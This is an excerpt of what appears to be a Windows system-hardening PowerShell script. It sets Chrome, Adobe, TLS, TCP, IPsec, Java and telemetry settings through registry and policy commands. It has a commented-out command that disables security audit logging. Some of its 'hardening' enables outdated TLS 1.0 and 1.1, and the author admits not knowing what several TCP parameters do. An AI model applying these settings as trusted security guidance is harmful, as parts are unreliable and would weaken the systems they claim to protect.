  837. # Use * to disable all plugins in place of DISABLEDPLUGINID
  838. # To add more than one disabled plugin, copy the 5 lines below and mark the regname as 2..3..4..5 and so on after re-pasting.
  839. $RegPath = 'Software\Policies\Google\Chrome\DisabledPlugins'
  840. $RegName = '1'
  841. $RegData = 'DISABLEDPLUGINID'
  842. $RegType = 'String'
  843. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  844.  
  845. # Use * to disable all extensions in place of DISABLEDEXTENSIONID
  846. # To add more than one disabled extension, copy the 5 lines below and mark the regname as 2..3..4..5 and so on after re-pasting.
  847. $RegPath = 'Software\Policies\Google\Chrome\ExtensionInstallBlacklist'
  848. $RegName = '1'
  849. $RegData = 'DISABLEDEXTENSIONID'
  850. $RegType = 'String'
  851. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  852.  
  853. # Use * to ENABLE all extensions in place of ENABLEDEXTENSIONID
  854. # To add more than one enabled extension, copy the 5 lines below and mark the regname as 2..3..4..5 and so on after re-pasting.
  855. $RegPath = 'Software\Policies\Google\Chrome\ExtensionInstallWhitelist'
  856. $RegName = '1'
  857. $RegData = 'ENABLEDEXTENSIONID'
  858. $RegType = 'String'
  859. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  860.  
  861. # Use the below to blacklist URLs in chrome. You could probably use * to blacklist everything.
  862. # To add more than one URL, copy the 5 lines below and append regname with the next number in the list.. 2..3..4..5 and so on.
  863. $RegPath = 'Software\Policies\Google\Chrome\URLBlacklist'
  864. $RegName = '1'
  865. $RegData = 'www.tacos.com'
  866. $RegType = 'String'
  867. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  868.  
  869. # Use the below to whitelist URLs in chrome.
  870. # To add more than one URL, copy the 5 lines below and append regname with the next number in the list.. 2..3..4..5 and so on.
  871. $RegPath = 'Software\Policies\Google\Chrome\URLWhitelist'
  872. $RegName = '1'
  873. $RegData = '*'
  874. $RegType = 'String'
  875. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  876.  
  877. # Use the below to make a list of forced installed extensions, This will also delete any values to remove any rogue extensions as a security feature if they are within the
  878. # list of 1-10 in the policy.
  879. # To add more than one force installed extension, copy the 5 lines below and mark the regname as 2..3..4..5 and so on after re-pasting.
  880. $RegPath = 'Software\Policies\Google\Chrome\ExtensionInstallForcelist'
  881. $RegName = '1'
  882. $RegData = 'EXTENSIONID'
  883. $RegType = 'String'
  884. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 1
  885. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 2
  886. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 3
  887. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 4
  888. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 5
  889. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 6
  890. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 7
  891. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 8
  892. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 9
  893. Remove-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName 10
  894. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  895.  
  896. $RegPath = 'Software\Policies\Google\Chrome'
  897. $RegName = 'AllowOutdatedPlugins'
  898. $RegData = '0'
  899. $RegType = 'DWord'
  900. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  901.  
  902. $RegPath = 'Software\Policies\Google\Chrome'
  903. $RegName = 'BackgroundModeEnabled'
  904. $RegData = '0'
  905. $RegType = 'DWord'
  906. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  907.  
  908. $RegPath = 'Software\Policies\Google\Chrome'
  909. $RegName = 'BookmarkBarEnabled'
  910. $RegData = '1'
  911. $RegType = 'DWord'
  912. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  913.  
  914. $RegPath = 'Software\Policies\Google\Chrome'
  915. $RegName = 'DefaultBrowserSettingEnabled'
  916. $RegData = '1'
  917. $RegType = 'DWord'
  918. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  919.  
  920. $RegPath = 'Software\Policies\Google\Chrome'
  921. $RegName = 'DeveloperToolsDisabled'
  922. $RegData = '1'
  923. $RegType = 'DWord'
  924. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  925.  
  926. $RegPath = 'Software\Policies\Google\Chrome'
  927. $RegName = 'EnableMediaRouter'
  928. $RegData = '1'
  929. $RegType = 'DWord'
  930. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  931.  
  932. $RegPath = 'Software\Policies\Google\Chrome'
  933. $RegName = 'ForceGoogleSafeSearch'
  934. $RegData = '1'
  935. $RegType = 'DWord'
  936. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  937.  
  938. $RegPath = 'Software\Policies\Google\Chrome'
  939. $RegName = 'FullscreenAllowed'
  940. $RegData = '0'
  941. $RegType = 'DWord'
  942. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  943.  
  944. $RegPath = 'Software\Policies\Google\Chrome'
  945. $RegName = 'NetworkPredictionOptions'
  946. $RegData = '2'
  947. $RegType = 'DWord'
  948. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  949.  
  950. $RegPath = 'Software\Policies\Google\Chrome'
  951. $RegName = 'SafeBrowsingEnabled'
  952. $RegData = '1'
  953. $RegType = 'DWord'
  954. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  955.  
  956. $RegPath = 'Software\Policies\Google\Chrome'
  957. $RegName = 'SafeBrowsingExtendedReportingOptInAllowed'
  958. $RegData = '0'
  959. $RegType = 'DWord'
  960. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  961.  
  962. $RegPath = 'Software\Policies\Google\Chrome'
  963. $RegName = 'SearchSuggestEnabled'
  964. $RegData = '0'
  965. $RegType = 'DWord'
  966. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  967.  
  968. $RegPath = 'Software\Policies\Google\Chrome'
  969. $RegName = 'SpellCheckServiceEnabled'
  970. $RegData = '0'
  971. $RegType = 'DWord'
  972. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  973.  
  974. $RegPath = 'Software\Policies\Google\Chrome'
  975. $RegName = 'SSLVersionMin'
  976. $RegData = 'tls1'
  977. $RegType = 'String'
  978. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  979.  
  980. $RegPath = 'Software\Policies\Google\Chrome'
  981. $RegName = 'WelcomePageOnOSUpgradeEnabled'
  982. $RegData = '0'
  983. $RegType = 'DWord'
  984. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  985.  
  986. # End Chrome GP Settings
  987. #
  988. # Begin Adobe Acrobat/Reader DC Settings
  989. $RegPath = 'Software\Policies\Adobe\Acrobat Reader\DC\FeatureLockdown'
  990. $RegName = 'bProtectedMode'
  991. $RegData = '1'
  992. $RegType = 'DWord'
  993. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  994.  
  995. $RegPath = 'Software\Policies\Adobe\Acrobat Reader\DC\FeatureLockdown'
  996. $RegName = 'bUsageMeasurement'
  997. $RegData = '1'
  998. $RegType = 'DWord'
  999. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  1000.  
  1001. $RegPath = 'Software\Policies\Adobe\Acrobat Reader\DC\FeatureLockdown\cIPM'
  1002. $RegName = 'bDontShowMsgWhenViewingDoc'
  1003. $RegData = '1'
  1004. $RegType = 'DWord'
  1005. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  1006.  
  1007. $RegPath = 'Software\Policies\Adobe\Acrobat Reader\DC\FeatureLockdown\cIPM'
  1008. $RegName = 'bShowMsgAtLaunch'
  1009. $RegData = '0'
  1010. $RegType = 'DWord'
  1011. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  1012.  
  1013. $RegPath = 'Software\Policies\Adobe\Adobe Acrobat\2015\FeatureLockdown'
  1014. $RegName = 'bUsageMeasurement'
  1015. $RegData = '1'
  1016. $RegType = 'DWord'
  1017. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  1018.  
  1019. $RegPath = 'Software\Policies\Adobe\Adobe Acrobat\2015\FeatureLockdown'
  1020. $RegName = 'iProtectedView'
  1021. $RegData = '2'
  1022. $RegType = 'DWord'
  1023. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  1024.  
  1025. $RegPath = 'Software\Policies\Adobe\Adobe Acrobat\2015\FeatureLockdown\cIPM'
  1026. $RegName = 'bShowMsgAtLaunch'
  1027. $RegData = '0'
  1028. $RegType = 'DWord'
  1029. Set-PolicyFileEntry -Path $MachineDir -Key $RegPath -ValueName $RegName -Data $RegData -Type $RegType
  1030. # End Adobe Acrobat and Reader DC Settings
  1031.  
  1032. # Force DEP to always on for every application (available options are: AlwaysOff, AlwaysOn, OptIn, OptOut)
  1033. Write-Host "Turning on DEP for all applications."
  1034. bcdedit /set nx AlwaysON
  1035. # Enable SEHOP (Exception write-protection function of DEP.)
  1036. Write-Host "Enable Exception Write-Protection SEHOP"
  1037. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Kernel" /v DisableExceptionChainValidation /t REG_DWORD /d 0 /f
  1038. # Check Cryptography Protection
  1039. Write-Host "Checking Cryptography Protection."
  1040.  
  1041. # If the following query shows that MasterKeyLegacyCompliance is set to a non-zero number,
  1042. # then it is bad sign that hackers or malware have set this value deliberately to weaken
  1043. # the security of DPAPI-protected secrets like cached passwords or private keys.
  1044. reg query HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb /v MasterKeyLegacyCompliance
  1045. # Run the following command to delete the MasterKeyLegacyCompliance value, which
  1046. # is the default on Windows XP and later, and is best for security.
  1047. reg delete HKLM\SOFTWARE\Microsoft\Cryptography\Protect\Providers\df9d8cd0-1501-11d1-8c7a-00c04fc297eb /v MasterKeyLegacyCompliance /f
  1048. # Disable NetBios (Forces File Sharing over port 445 DirectSMB/stops various worms.)
  1049. Write-Host "Disabling Outdated NetBIOS Protocol..."
  1050. sc.exe config netbt start= disabled
  1051. # Reset NerBios Configuration to Default.
  1052. # sc.exe config netbt start= system
  1053. # Set LAN connection to DHCP and renew.
  1054. # netsh.exe int ip set address "Local Area Connection" dhcp
  1055. # netsh.exe int ip set dns "Local Area Connection" dhcp
  1056. # ipconfig /renew
  1057. # Set LAN connection to static and release.
  1058. # ipconfig /release
  1059. # netsh.exe int ip set dns "Local Area Connection" static 10.4.1.1
  1060. # netsh.exe int ip set address "Local Area Connection" static 10.4.1.1 255.255.0.0
  1061. # Enable IPsec NAT
  1062. Write-Host "Enabling IPSec NAT..."
  1063. reg add "HKLM\SYSTEM\CurrentControlSet\Services\PolicyAgent" /v AssumeUDPEncapsulationContextOnSendRule /t REG_DWORD /d 00000002 /f
  1064.  
  1065. # Use these commands to audit logging policies.
  1066. # auditpol.exe /get /category:*
  1067. # auditpol.exe /get /subcategory:"MPSSVC rule-level Policy Change,Filtering Platform policy change,IPsec Main Mode,IPsec Quick Mode,IPsec Extended Mode,IPsec Driver,Other System Events,Filtering Platform Packet Drop,Filtering Platform Connection"
  1068.  
  1069. # Disable a lot of security logging (See end of command)
  1070. # auditpol.exe /set /subcategory:"MPSSVC rule-level Policy Change,Filtering Platform policy change,IPsec Main Mode,IPsec Quick Mode,IPsec Extended Mode,IPsec Driver,Other System Events,Filtering Platform Packet Drop,Filtering Platform Connection" /success:Disable /failure:Disable
  1071.  
  1072. # Enable a lot of security logging (See end of command)
  1073. auditpol.exe /set /subcategory:"MPSSVC rule-level Policy Change,Filtering Platform policy change,IPsec Main Mode,IPsec Quick Mode,IPsec Extended Mode,IPsec Driver,Other System Events,Filtering Platform Packet Drop,Filtering Platform Connection" /success:Enable /failure:Enable
  1074.  
  1075. # Enable oakley IPSec Diagnostics logging.
  1076. reg add "HKLM\SYSTEM\CurrentControlSet\Services\PolicyAgent\Oakley" /v EnableLogging /t REG_DWORD /d 00000001 /f
  1077.  
  1078. # Enable Local IPSec Connections for ports 3389,135,139,445,21,20,23
  1079. Write-Host "Enabling Local Network IPSEC on this machine if supported."
  1080. netsh.exe advfirewall consec add rule name=Testing-IPSec-NETSH endpoint1=any port1=any endpoint2=localsubnet port2=3389,135,139,445,21,20,23 protocol=tcp profile=any action=requireinrequestout interfacetype=any auth1=computerpsk auth1psk=$ThePreSharedKey enable=yes
  1081.  
  1082. # Disable Local IPSec Connections for ports 3389,135,139,445,21,20,23
  1083. # Write-Host "Disabling Local Network IPSEC on this machine if supported."
  1084. # netsh.exe advfirewall consec add rule name=Testing-IPSec-NETSH endpoint1=any port1=any endpoint2=localsubnet port2=3389,135,139,445,21,20,23 protocol=tcp profile=any action=requireinrequestout interfacetype=any auth1=computerpsk auth1psk=$ThePreSharedKey enable=no
  1085.  
  1086. Write-Progress -Activity "Configuring SSL/TLS" -Status "Progress:" -PercentComplete 1
  1087. #
  1088. #
  1089. # The Two Lines Below Enable Superfectch and Prefetch
  1090. Write-Host "Enabling Superfetch and Prefetch..."
  1091. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnableSuperfetch /t REG_DWORD /d 00000003 /f
  1092. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Memory Management\PrefetchParameters" /v EnablePrefetcher /t REG_DWORD /d 00000003 /f
  1093.  
  1094. # The Lines Below Disable SSL!!!
  1095. Write-Host "Disabling SSL..."
  1096. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client" /f
  1097. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client" /v DisabledByDefault /t REG_DWORD /d 00000001 /f
  1098. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Client" /v Enabled /t REG_DWORD /d 00000000 /f
  1099. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server" /f
  1100. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server" /v DisabledByDefault /t REG_DWORD /d 00000001 /f
  1101. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 2.0\Server" /v Enabled /t REG_DWORD /d 00000000 /f
  1102. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client" /f
  1103. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client" /v DisabledByDefault /t REG_DWORD /d 00000001 /f
  1104. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Client" /v Enabled /t REG_DWORD /d 00000000 /f
  1105. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server" /f
  1106. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server" /v DisabledByDefault /t REG_DWORD /d 00000001 /f
  1107. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\SSL 3.0\Server" /v Enabled /t REG_DWORD /d 00000000 /f
  1108. Write-Progress -Activity "Configuring SSL/TLS" -Status "Progress:" -PercentComplete 25
  1109. # The Lines Below Force And Enable TLS!!!
  1110. Write-Host "Forcing and Enabling TLS!!!"
  1111. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client" /f
  1112. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client" /v DisabledByDefault /t REG_DWORD /d 00000000 /f
  1113. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Client" /v Enabled /t REG_DWORD /d 0xffffffff /f
  1114. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server" /f
  1115. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server" /v DisabledByDefault /t REG_DWORD /d 00000000 /f
  1116. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.0\Server" /v Enabled /t REG_DWORD /d 0xffffffff /f
  1117. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client" /f
  1118. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client" /v DisabledByDefault /t REG_DWORD /d 00000000 /f
  1119. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Client" /v Enabled /t REG_DWORD /d 0xffffffff /f
  1120. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server" /f
  1121. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server" /v DisabledByDefault /t REG_DWORD /d 00000000 /f
  1122. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.1\Server" /v Enabled /t REG_DWORD /d 0xffffffff /f
  1123. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client" /f
  1124. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client" /v DisabledByDefault /t REG_DWORD /d 00000000 /f
  1125. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Client" /v Enabled /t REG_DWORD /d 0xffffffff /f
  1126. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server" /f
  1127. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server" /v DisabledByDefault /t REG_DWORD /d 00000000 /f
  1128. reg add "HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHANNEL\Protocols\TLS 1.2\Server" /v Enabled /t REG_DWORD /d 0xffffffff /f
  1129. Write-Progress -Activity "Configuring SSL/TLS" -Status "Progress:" -PercentComplete 70
  1130. # The Registry Parameters Below are for TCP Security, I'm not sure what some of them do.
  1131. Write-Host "Upgrading TCP Security..."
  1132. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v IPEnableRouter /t REG_DWORD /d 00000000 /f
  1133. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableICMPRedirect /t REG_DWORD /d 00000000 /f
  1134. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v SynAttackProtect /t REG_DWORD /d 00000002 /f
  1135. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v TcpMaxHalfOpen /t REG_DWORD /d 00000064 /f
  1136. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v TcpMaxHalfOpenRetried /t REG_DWORD /d 00000050 /f
  1137. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v DisableIPSourceRouting /t REG_DWORD /d 00000002 /f
  1138. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v NoNameReleaseOnDemand /t REG_DWORD /d 00000001 /f
  1139. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v EnableDeadGWDetect /t REG_DWORD /d 00000000 /f
  1140. reg add "HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters" /v KeepAliveTime /t REG_DWORD /d 0x000493E0 /f
  1141. Write-Progress -Activity "Configuring SSL/TLS" -Status "Progress:" -PercentComplete 100
  1142. # Disable NTFS Last-Access Timestamp
  1143. # Write-Host "Disabling NTFS Last-Access Timestamps..."
  1144. # reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisableLastAccessUpdate /t REG_DWORD /d 00000001 /f
  1145. # Enable NTFS Last-Access Timestamp
  1146. Write-Host "Enabling NTFS Last-Access Timestamps..."
  1147. reg add "HKLM\SYSTEM\CurrentControlSet\Control\FileSystem" /v NtfsDisableLastAccessUpdate /t REG_DWORD /d 00000000 /f
  1148. # Disable IPV6
  1149. Write-Host "Disabling IPV6..."
  1150. reg add "HKLM\SYSTEM\CurrentControlSet\services\TCPIP6\Parameters" /v DisabledComponents /t REG_DWORD /d 0xffffffff /f
  1151. # Enable IPV6
  1152. # Write-Host "EnTabling IPV6..."
  1153. # reg add "HKLM\SYSEM\CurrentControlSet\services\TCPIP6\Parameters" /v DisabledComponents /t REG_DWORD /d 0 /f
  1154. # Force High Level of Remote Desktop Encryption and TLS Authentication.
  1155. Write-Host "Requiring Strong Remote Desktop Encryption if enabled... And forcing TLS Authentication"
  1156. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v MinEncryptionLevel /t REG_DWORD /d 00000003 /f
  1157. reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 00000002 /f
  1158. # Disabling TCP/IP AutoTuning (see http://technet.microsoft.com/en-us/magazine/2007.01.cableguy.aspx)
  1159. Write-Host "Disabling TCP/IP Auto-Tuning..."
  1160. netsh.exe interface tcp set global autotuninglevel= disabled
  1161. # Enabling TCP/IP AutoTuning
  1162. # netsh.exe interface tcp set global autotuninglevel= normal
  1163. # Reset Firewall To factory Defaults!!!
  1164. # netsh.exe firewall reset
  1165.  
  1166. # Begin Java Security Setting Script
  1167. Write-host "The next bit of code will either enable or disable java system-wide."
  1168. # Construct the strings for the deployment.properties file.
  1169. # Be mindful of the below property, setting webjava to false will unisntall java and you will need to manually re-enable in IE.
  1170.  
  1171. $propertiesfile = "deployment.webjava.enabled=true "
  1172.  
  1173. # Default to locking the security level and browser plug-in state, i.e., they are visible but greyed out in Java Control Panel.
  1174. $propertiesfile += "`ndeployment.webjava.enabled.locked `ndeployment.security.level.locked "
  1175.  
  1176. # Default to security level being set to VERY_HIGH (see Security tab of Java Control Panel).
  1177. $propertiesfile += "`ndeployment.security.level=VERY_HIGH"
  1178.  
  1179.  
  1180. # Possibly delete the configuration files and exit, but leave the folder alone though.
  1181. write-host "Deleting system-wide Java configuration files, if they exist..."
  1182. remove-item $env:WinDir\Sun\Java\Deployment\deployment.config -Force
  1183. remove-item $env:WinDir\Sun\Java\Deployment\deployment.properties -Force
  1184.        
  1185.  
  1186.  
  1187. # Create the $env:WinDir\Sun\Java\Deployment folder for the system-wide Java configuration files.
  1188. New-Item -Path $env:WinDir\Sun\Java\Deployment -ItemType Directory -Force | Out-Null
  1189.  
  1190. # Create the deployment.config file.
  1191. "deployment.system.config=$env:WinDir\Sun\Java\Deployment\deployment.properties" |
  1192.     Out-File -FilePath $env:WinDir\Sun\Java\Deployment\deployment.config -Force -Encoding ASCII
  1193. if (-not $? -or -not $(Test-Path $env:WinDir\Sun\Java\Deployment\deployment.config))
  1194.    { "`nCould not create the deployment.config file, exiting.`n" ; exit -1 }
  1195.  
  1196.  
  1197. # Create the deployment.properties file.
  1198. $propertiesfile | Out-File -FilePath $env:WinDir\Sun\Java\Deployment\deployment.properties -Force -Encoding ASCII
  1199. if (-not $? -or -not $(Test-Path $env:WinDir\Sun\Java\Deployment\deployment.properties))
  1200.    { "`nCould not create the deployment.properties file, exiting.`n" ; exit -1 }
  1201.  
  1202.  
  1203. # Show system-wide deployment.properties file contents FYI.
  1204. "`nCurrent contents of the deployment.properties file:`n"
  1205. get-content $env:WinDir\Sun\Java\Deployment\deployment.properties ; "`n"
  1206.  
  1207.  
  1208.  
  1209. # Run latest ssvagent.exe for both x86 and x64, but not on Java Platform 6 or earlier, and
  1210. # hope future Javas support these switches (man, what a mess, doomed to rewrites...):
  1211. if ($propertiesfile -like '*deployment.webjava.enabled=false*')
  1212. {
  1213.     # Try the x64 version, if any:
  1214.     $ssvagent = $null
  1215.     if (Test-Path -Path "$env:ProgramFiles\Java\")
  1216.     {
  1217.         $ssvagent = dir "$env:ProgramFiles\Java\*.exe" -Recurse |
  1218.                 where { $_.name -eq 'ssvagent.exe' -and $_.fullname -notmatch '\\jre[1-6]\\'} |
  1219.                 sort LastWriteTimeUtc -desc | select -first 1
  1220.     }
  1221.  
  1222.     if ($ssvagent -ne $null)
  1223.     {
  1224.         $expression = $ssvagent.FullName.Replace("Program Files","'Program Files'") + " -disablewebjava"
  1225.         "Executing: $expression `n"
  1226.         invoke-expression -command $expression
  1227.     }
  1228.  
  1229.  
  1230.     # Now for the x86 version second, because this is the Oracle-preferred:
  1231.     $ssvagent = $null
  1232.     if (Test-Path -Path "${env:ProgramFiles(x86)}\Java\")
  1233.     {
  1234.         $ssvagent = dir "${env:ProgramFiles(x86)}\Java\*.exe" -Recurse |
  1235.                 where { $_.name -eq 'ssvagent.exe' -and $_.fullname -notmatch '\\jre[1-6]\\'} |
  1236.                 sort LastWriteTimeUtc -desc | select -first 1
  1237.     }
  1238.  
  1239.     if ($ssvagent -ne $null)
  1240.     {
  1241.         $expression = $ssvagent.FullName.Replace("Program Files (x86)","'Program Files (x86)'") + " -disablewebjava"
  1242.         "Executing: $expression `n"
  1243.         invoke-expression -command $expression
  1244.     }
  1245. }
  1246. elseif ($propertiesfile -like '*deployment.webjava.enabled=true*')
  1247. {
  1248.     # Try the x64 version, if any:
  1249.     $ssvagent = $null
  1250.     $ssvagent = dir "$env:ProgramFiles\Java\*.exe" -Recurse |
  1251.                 where { $_.name -eq 'ssvagent.exe' -and $_.fullname -notmatch '\\jre[1-6]\\'} |
  1252.                 sort LastWriteTimeUtc -desc | select -first 1
  1253.     if ($ssvagent -ne $null)
  1254.     {
  1255.         $expression = $ssvagent.FullName.Replace("Program Files","'Program Files'") + " -forceinstall -register -new -high"  #Only -high exists?
  1256.         "Executing: $expression `n"
  1257.         invoke-expression -command $expression
  1258.     }
  1259.  
  1260.     # Now for the x86 version second, to let it possibly overwrite x64 settings, since x86 is Oracle-preferred:
  1261.     $ssvagent = $null
  1262.     $ssvagent = dir "${env:ProgramFiles(x86)}\Java\*.exe" -Recurse |
  1263.                 where { $_.name -eq 'ssvagent.exe' -and $_.fullname -notmatch '\\jre[1-6]\\'} |
  1264.                 sort LastWriteTimeUtc -desc | select -first 1
  1265.     if ($ssvagent -ne $null)
  1266.     {
  1267.         $expression = $ssvagent.FullName.Replace("Program Files (x86)","'Program Files (x86)'") + " -forceinstall -register -new -high"  #Only -high exists?
  1268.         "Executing: $expression `n"
  1269.         invoke-expression -command $expression
  1270.     }
  1271. }
  1272.  
  1273. # End Java Security Settings Script
  1274. #
  1275. #
  1276.  
  1277. # Disable scheduled tasks
  1278. Write-Progress -Activity "Disabling scheduled tasks" -Status "Progress:" -PercentComplete 0
  1279. schtasks /Change /TN "Microsoft\Office\Office 15 Subscription Heartbeat" /Disable
  1280. schtasks /Change /TN "Microsoft\Office\OfficeTelemetryAgentFallBack" /Disable
  1281. schtasks /Change /TN "Microsoft\Office\OfficeTelemetryAgentLogOn" /Disable
  1282. schtasks /Change /TN "Microsoft\Windows\Application Experience\Microsoft Compatibility Appraiser" /Disable
  1283. schtasks /Change /TN "Microsoft\Windows\Application Experience\ProgramDataUpdater" /Disable
  1284. schtasks /Change /TN "Microsoft\Windows\Autochk\Proxy" /Disable
  1285. schtasks /Change /TN "Microsoft\Windows\CloudExperienceHost\CreateObjectTask" /Disable
  1286. schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\Consolidator" /Disable
  1287. schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\KernelCeipTask" /Disable
  1288. schtasks /Change /TN "Microsoft\Windows\Customer Experience Improvement Program\Uploader" /Disable
